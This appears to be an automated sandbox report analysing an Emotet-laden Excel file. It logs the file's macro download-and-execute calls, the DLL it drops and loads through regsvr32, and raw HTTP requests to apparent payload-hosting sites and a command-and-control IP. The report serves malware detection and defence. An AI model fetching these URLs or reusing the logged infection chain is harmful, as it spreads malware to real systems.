Source: regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll

Jump to behavior

Source: unknown

DNS traffic detected: queries for: sat7ate.com

Source: global traffic	HTTP traffic detected: GET /Adapter/moycMR/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /index.php?controller=404 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-AliveCookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAiRnV0TG5b0npswANceXA1cwrQZJXojk9hvRnyRY37Ivk%3D000075
Source: global traffic	HTTP traffic detected: GET /Content/Afa1PcRuxh/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-AliveCookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNI2Ckr%2B1t%2BqGSwMBMouqmkFK0SD2XdZ7Cg5qtQQ9RwtmJfdpSnAaKPknzS3gL2v8c%3D000079
Source: global traffic	HTTP traffic detected: GET /page-non-trouvee HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-AliveCookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGohxkvf3iPluWhTbyznpM1hqQ6wpX78PX55d2aotWs5IA%3D000075
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: YYbWjqBjoLrCcX=SBgr/e6aC1IUNvJELTGXliW8JuD542AergoyMYXNvjxNLDRTdQNm8AuaxOmABbvgfv+8UtrcYH0nm8JVpNZn+3TWEfhRm/dUCR1CZolc/XwWvPSYMtjPL0bLJaxTy+IA9NnB1Bf21+p/nLECZUQKbQ3KotZmlTPMe1nDx9AvFrGbWdBwLhSH+OSwBm0uKoYGqTZIZ3usbgBMW4QV4nRpmrxN3K2+2Yb5BRhEeUfSv5e+Y0wUi7HP20VKUTWvvTmy+2YpSlrLS8NjnvoUHc/35DqIYRXDWKWVd2LKfBks9VLO8aBSd9lbpYy/Ixl+Ba5lMMnTILw8p+KXMtCwpS9WHost: 218.38.121.17
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: BepnebNbbnhLwN=d2b7sFWgS9DsqV+ktIDEPfDYK+u4VvGDu6RH8sqyC93zoy+j0gBi669p4anprtQEM0FTQaa5CcQDsE2n3Jik1MwelLYMW0cB2ckzSva1GTO9Ozuc6BuVVWHKD0CdjeEPdE+oGqdZWNtAUHV9t6hIutCFWcQnGko8pFlEzh+24tzbK7usfHuWSo1g9glenYgi3haMAIuRx4H0rCms/1aWJHObgPJCMzJMZePW+6QsU2qZksYBpCGLUBB4No5nO9JG4fI9x4h7VheOpHD72h9Li3R3N4z9E+yOI9ADuJ2vMtr3yhVwHost: 218.38.121.17
Source: global traffic	HTTP traffic detected: GET /Adapter/moycMR/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Content/Afa1PcRuxh/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bsavxiv/axHQYKl/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: navylin.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 163.172.115.127:443 -> 192.168.2.22:49174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 163.172.108.69:443 -> 192.168.2.22:49177 version: TLS 1.2

Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10025238 GetParent,ScreenToClient,GetKeyState,GetKeyState,GetKeyState,KillTimer,IsWindow,	8_2_10025238
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10014B20 GetKeyState,GetKeyState,GetKeyState,SendMessageA,	8_2_10014B20
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10025C50 GetKeyState,GetKeyState,GetKeyState,GetParent,GetParent,SendMessageA,ScreenToClient,GetCursorPos,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SetWindowPos,SendMessageA,SendMessageA,GetParent,	8_2_10025C50

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 0000000A.00000002.1211606431.000000000017A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1211620382.000000000021A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.regsvr32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.regsvr32.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1211814809.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1213054445.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.942096747.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1212856230.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1211836015.00000000002B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Found malicious Excel 4.0 Macro

Source: 4470_02112022.xls	Macro extractor: Sheet: Sheet6 contains: URLDownloadToFileA
Source: 4470_02112022.xls	Macro extractor: Sheet: Sheet6 contains: URLDownloadToFileA

Office process drops PE file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\oxnv4.ooccxx			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\40hd04O0[1].dll			Jump to dropped file

Found Excel 4.0 Macro with suspicious formulas

Source: 4470_02112022.xls	Initial sample: EXEC
Source: 4470_02112022.xls	Initial sample: EXEC

Source: C:\Windows\System32\regsvr32.exe

File created: C:\Windows\system32\XXKTOC\

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100073A4	8_2_100073A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003B0D0	8_2_1003B0D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1004E0F0	8_2_1004E0F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10044160	8_2_10044160
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100491A0	8_2_100491A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10048210	8_2_10048210
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100102D4	8_2_100102D4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1004B340	8_2_1004B340
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1001C3CC	8_2_1001C3CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003E540	8_2_1003E540
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003B5D0	8_2_1003B5D0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003F650	8_2_1003F650
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10031730	8_2_10031730
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10044730	8_2_10044730
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100547A0	8_2_100547A0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003D830	8_2_1003D830
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10034910	8_2_10034910
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1002C9A8	8_2_1002C9A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_100449B0	8_2_100449B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1004E9C0	8_2_1004E9C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10048A10	8_2_10048A10
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10031A60	8_2_10031A60
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10018A70	8_2_10018A70
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003CC40	8_2_1003CC40
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10025C50	8_2_10025C50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10027C6C	8_2_10027C6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10037CB0	8_2_10037CB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10043CC0	8_2_10043CC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10001CC8	8_2_10001CC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10021CD0	8_2_10021CD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10013CFC	8_2_10013CFC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10016D48	8_2_10016D48
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10054D70	8_2_10054D70
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1003DD80	8_2_1003DD80
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10034DC0	8_2_10034DC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1000FDC8	8_2_1000FDC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10038DF0	8_2_10038DF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10033EB0	8_2_10033EB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1004EED0	8_2_1004EED0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_10040FB0	8_2_10040FB0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_1004BFF0	8_2_1004BFF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_001F0000	8_2_001F0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800018F0	8_2_00000001800018F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180009AC0	8_2_0000000180009AC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180003B78	8_2_0000000180003B78
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800143B4	8_2_00000001800143B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002AC7C	8_2_000000018002AC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000DC7C	8_2_000000018000DC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800184BC	8_2_00000001800184BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001A788	8_2_000000018001A788
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800247AC	8_2_00000001800247AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001D7F8	8_2_000000018001D7F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C800	8_2_000000018000C800
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002B814	8_2_000000018002B814
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180017824	8_2_0000000180017824
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180003824	8_2_0000000180003824
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002803C	8_2_000000018002803C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180023840	8_2_0000000180023840
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001B058	8_2_000000018001B058
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D87C	8_2_000000018000D87C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800098AC	8_2_00000001800098AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800168B0	8_2_00000001800168B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800078B4	8_2_00000001800078B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800190BC	8_2_00000001800190BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002B0C4	8_2_000000018002B0C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800040EC	8_2_00000001800040EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800288F8	8_2_00000001800288F8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180021918	8_2_0000000180021918
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180004918	8_2_0000000180004918
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C930	8_2_000000018000C930
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180025938	8_2_0000000180025938
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000F138	8_2_000000018000F138
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000E93C	8_2_000000018000E93C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001D150	8_2_000000018001D150
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180022158	8_2_0000000180022158
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180015958	8_2_0000000180015958
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001A170	8_2_000000018001A170
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180003970	8_2_0000000180003970
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001298D	8_2_000000018001298D
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180011194	8_2_0000000180011194
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180029198	8_2_0000000180029198
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000A198	8_2_000000018000A198
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800031C4	8_2_00000001800031C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C1E0	8_2_000000018000C1E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000421C	8_2_000000018000421C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180023228	8_2_0000000180023228
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001CA34	8_2_000000018001CA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001DA34	8_2_000000018001DA34
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001EA38	8_2_000000018001EA38
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002B23C	8_2_000000018002B23C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002A244	8_2_000000018002A244
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D250	8_2_000000018000D250
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180027A68	8_2_0000000180027A68
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180002A6C	8_2_0000000180002A6C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180014274	8_2_0000000180014274
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180012288	8_2_0000000180012288
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180012AA6	8_2_0000000180012AA6
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800122C8	8_2_00000001800122C8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800072CC	8_2_00000001800072CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006ADC	8_2_0000000180006ADC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800012F0	8_2_00000001800012F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000FB04	8_2_000000018000FB04
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001E30C	8_2_000000018001E30C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001531C	8_2_000000018001531C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000A31C	8_2_000000018000A31C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180004B50	8_2_0000000180004B50
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180029360	8_2_0000000180029360
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180017B68	8_2_0000000180017B68
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002539C	8_2_000000018002539C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800033A8	8_2_00000001800033A8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800233B0	8_2_00000001800233B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800243B8	8_2_00000001800243B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180006BBC	8_2_0000000180006BBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001FBD8	8_2_000000018001FBD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800043F4	8_2_00000001800043F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000C3F4	8_2_000000018000C3F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001DC00	8_2_000000018001DC00
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001EC08	8_2_000000018001EC08
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180007418	8_2_0000000180007418
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180025C1C	8_2_0000000180025C1C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000A42C	8_2_000000018000A42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000E42C	8_2_000000018000E42C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180028C38	8_2_0000000180028C38
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180019C4C	8_2_0000000180019C4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000145C	8_2_000000018000145C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180002480	8_2_0000000180002480
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180020490	8_2_0000000180020490
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800164B0	8_2_00000001800164B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180017CC0	8_2_0000000180017CC0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180026CD0	8_2_0000000180026CD0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000BCD8	8_2_000000018000BCD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800114E0	8_2_00000001800114E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800154EC	8_2_00000001800154EC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001FD00	8_2_000000018001FD00
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002A518	8_2_000000018002A518
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180020D20	8_2_0000000180020D20
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001A524	8_2_000000018001A524
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D52C	8_2_000000018000D52C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180010D54	8_2_0000000180010D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180002D54	8_2_0000000180002D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002B55C	8_2_000000018002B55C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180004D70	8_2_0000000180004D70
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180024D84	8_2_0000000180024D84
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002358C	8_2_000000018002358C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180029590	8_2_0000000180029590
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180021594	8_2_0000000180021594
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001D5B0	8_2_000000018001D5B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180027DB8	8_2_0000000180027DB8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001B5C4	8_2_000000018001B5C4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001FDF4	8_2_000000018001FDF4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000F60C	8_2_000000018000F60C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001E61C	8_2_000000018001E61C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180007620	8_2_0000000180007620
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000BE20	8_2_000000018000BE20
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001DE2C	8_2_000000018001DE2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180023E4C	8_2_0000000180023E4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180001650	8_2_0000000180001650
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002765C	8_2_000000018002765C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000EE5C	8_2_000000018000EE5C
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180015E70	8_2_0000000180015E70
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180017E74	8_2_0000000180017E74
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000FE84	8_2_000000018000FE84
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800056BC	8_2_00000001800056BC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002B6C0	8_2_000000018002B6C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001C6CC	8_2_000000018001C6CC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180020ED4	8_2_0000000180020ED4
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800116DC	8_2_00000001800116DC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800166E8	8_2_00000001800166E8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800036FC	8_2_00000001800036FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000D704	8_2_000000018000D704
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180015714	8_2_0000000180015714
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018000E720	8_2_000000018000E720
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180024F30	8_2_0000000180024F30
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180001744	8_2_0000000180001744
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180018764	8_2_0000000180018764
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180028768	8_2_0000000180028768
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180010F74	8_2_0000000180010F74
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180018F80	8_2_0000000180018F80
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018002A784	8_2_000000018002A784
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180016F84	8_2_0000000180016F84
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800027B8	8_2_00000001800027B8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180026FBC	8_2_0000000180026FBC
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180012FC8	8_2_0000000180012FC8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_000000018001FFD8	8_2_000000018001FFD8
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800117E0	8_2_00000001800117E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_001B0000	9_2_001B0000
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180025C1C	9_2_0000000180025C1C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180019C4C	9_2_0000000180019C4C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180015E70	9_2_0000000180015E70
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000DC7C	9_2_000000018000DC7C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180008688	9_2_0000000180008688
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800078B4	9_2_00000001800078B4
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800058C0	9_2_00000001800058C0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800018F0	9_2_00000001800018F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800132FC	9_2_00000001800132FC
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180009D2C	9_2_0000000180009D2C
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180022334	9_2_0000000180022334
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180002D54	9_2_0000000180002D54
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_0000000180003B78	9_2_0000000180003B78
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001A788	9_2_000000018001A788
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018001D5B0	9_2_000000018001D5B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_00000001800143B4	9_2_00000001800143B4
